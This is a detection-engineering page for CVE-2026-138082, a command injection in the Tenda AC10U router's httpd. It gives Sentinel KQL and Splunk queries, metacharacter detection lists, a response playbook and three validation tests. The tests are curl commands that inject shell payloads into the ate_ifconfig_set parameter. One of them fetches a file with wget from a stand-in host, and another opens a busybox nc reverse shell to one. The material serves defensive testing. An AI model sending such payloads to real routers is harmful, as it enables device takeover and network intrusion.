Skip to content
CVE-2026-138082 Microsoft Sentinel · KQL

Detect Tenda AC10U httpd ate_ifconfig_set Command Injection (CVE-2026-138082) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-138082, an OS command injection vulnerability (CWE-77, CWE-78, CVSS 9.3) in the ate_ifconfig_set function of /bin/httpd on the Tenda AC10U router (firmware 15.03.06.48_multi_TDE01). A remote attacker can inject shell metacharacters into an interface-configuration parameter handled by the ATE service, which httpd passes to a system()-style call. This yields arbitrary command execution on the device. A public proof of concept has been disclosed. Because embedded Tenda devices rarely emit rich host telemetry, this detection focuses on network-side indicators: HTTP requests to the vulnerable endpoint carrying shell metacharacters, and outbound connections (reverse shells, tool downloads) originating from the router management interface.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence
let metachars = dynamic([";","|","`","$(","&&","||","%3B","%7C","%60","%26"]);
CommonSecurityLog
| where DeviceVendor in ("Zeek","Palo Alto Networks","Fortinet") or isnotempty(RequestURL)
| where RequestURL has "ate_ifconfig_set" or RequestURL has "/goform/" or RequestURL has "ifconfig_set"
| where RequestURL has_any (metachars) or AdditionalExtensions has_any (metachars)
| extend Suspect = RequestURL
| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, RequestMethod, RequestURL=Suspect, DeviceVendor, DeviceProduct
| order by TimeGenerated desc
critical severity medium confidence

Flags HTTP requests to the Tenda AC10U httpd interface targeting the ate_ifconfig_set / goform handler that contain shell command-injection metacharacters (raw or URL-encoded).

Data Sources

Network HTTP proxy logsFirewall URL logsZeek http.log

Required Tables

CommonSecurityLog

False Positives & Tuning

  • Legitimate administrator configuring network interfaces whose values coincidentally contain special characters
  • Vulnerability scanners (Nessus, Qualys) probing the endpoint during authorized assessments
  • Security research traffic replaying the PoC in a lab segment

Other platforms for CVE-2026-138082


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated ate_ifconfig_set command injection via curl

    Expected signal: Proxy/Zeek HTTP log entry with URI containing ate_ifconfig_set and a semicolon metacharacter.

  2. Test 2 URL-encoded pipe injection probe

    Expected signal: HTTP log with URI containing ate_ifconfig_set and %7C (encoded pipe).

  3. Test 3 Command-substitution reverse-shell simulation

    Expected signal: HTTP log with URI containing ate_ifconfig_set and '$(' command-substitution characters.


Response Playbook

Triage

  1. Confirm the destination IP/device is a Tenda AC10U router running firmware 15.03.06.48_multi_TDE01 (or similar multi-TDE build) and that its management/httpd interface was reachable from the source.
  2. Decode the captured RequestURL/URI (URL-decode %-encoded bytes) and extract the injected payload following the metacharacter; determine whether it is a benign scan string or an actual command (wget/curl/busybox/sh).
  3. Check whether the source IP is internal (admin/scanner) or external/untrusted; external unauthenticated access to the device web UI is a strong exploitation indicator.
  4. Correlate the request timestamp with any outbound connections from the router to attacker infrastructure or file-download servers immediately afterward.

Containment

  1. Block inbound access to the Tenda device's httpd/management port (typically TCP 80/8080) from untrusted networks at the perimeter firewall.
  2. Isolate the affected router from the network segment if command execution is confirmed, and power-cycle only after capturing volatile evidence.
  3. Disable remote/WAN-side web management on the device and restrict the management UI to a dedicated admin VLAN.

Evidence Collection

  1. Preserve proxy/firewall/Zeek HTTP logs of the full request including headers, body, and injected payload.
  2. Capture a full packet capture (PCAP) of the session and any subsequent outbound traffic from the router.
  3. If device access is available, collect httpd process state, running processes, and any dropped files or modified startup scripts (nvram, /tmp, /var).

Escalation Criteria

  • !Escalate to incident response if the request originates from an external/untrusted IP and is followed by outbound connections from the router (indicating successful reverse shell or payload retrieval).
  • !Escalate if the injected payload contains clearly malicious commands (downloaders, cron/startup persistence, credential dumping) rather than a benign scanner probe.

Investigation Guide

Forensic Artifacts

  • >HTTP request logs containing the ate_ifconfig_set/goform URI with shell metacharacters
  • >Outbound connections from the router to attacker C2 or download hosts
  • >Dropped payloads or modified NVRAM/startup scripts on the device filesystem

Tuning Guidance

Whitelist the IPs of authorized vulnerability scanners and internal admin workstations that legitimately configure the device. If the environment has no Tenda AC10U devices, scope the rule to the known device management subnets to reduce noise. Tighten the metacharacter regex if benign admin values frequently contain semicolons; prioritize alerts where the source is external and followed by outbound router traffic.


Hunting Queries

Hunt for repeated command-injection probes against Tenda goform/ifconfig_set endpoints grouped by source IP.

Hunting — KQL
kql
// df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "goform" or RequestURL has "ifconfig_set" | where RequestURL has_any (";","|","`","$(","%3B","%7C") | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence ```
index=network (uri="*goform*" OR uri="*ifconfig_set*") | regex uri="(;|\||`|\$\(|%3[bB]|%7[cC])" | stats count by src_ip, uri

Atomic Red Team Tests

Test 1 Simulated ate_ifconfig_set command injection via curl
linux

Sends a crafted HTTP request to a lab Tenda httpd emulator with shell metacharacters in the interface parameter to trigger the detection.

Command

bash
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=eth0;id' --max-time 5 || true

Cleanup

bash
echo 'no cleanup required; request is stateless'

Expected Telemetry

Proxy/Zeek HTTP log entry with URI containing ate_ifconfig_set and a semicolon metacharacter.

Expected Detection

KQL/SPL rule fires on the ate_ifconfig_set URI containing the ';' metacharacter.

Test 2 URL-encoded pipe injection probe
linux

Sends a URL-encoded command-injection payload to verify encoded-metacharacter matching.

Command

bash
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=eth0%7Cwget%20http://192.0.2.20/x' --max-time 5 || true

Cleanup

bash
echo 'stateless; nothing to clean'

Expected Telemetry

HTTP log with URI containing ate_ifconfig_set and %7C (encoded pipe).

Expected Detection

Detection matches on the URL-encoded %7C metacharacter in the request URI.

Test 3 Command-substitution reverse-shell simulation
linux

Sends a payload using $(...) command substitution to emulate a reverse-shell staging attempt against the vulnerable handler.

Command

bash
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=$(busybox nc 192.0.2.20 4444 -e /bin/sh)' --max-time 5 || true

Cleanup

bash
echo 'stateless lab request; no persistent artifacts created'

Expected Telemetry

HTTP log with URI containing ate_ifconfig_set and '$(' command-substitution characters.

Expected Detection

Detection fires on the '$(' metacharacter sequence in the request URI.

Related Detections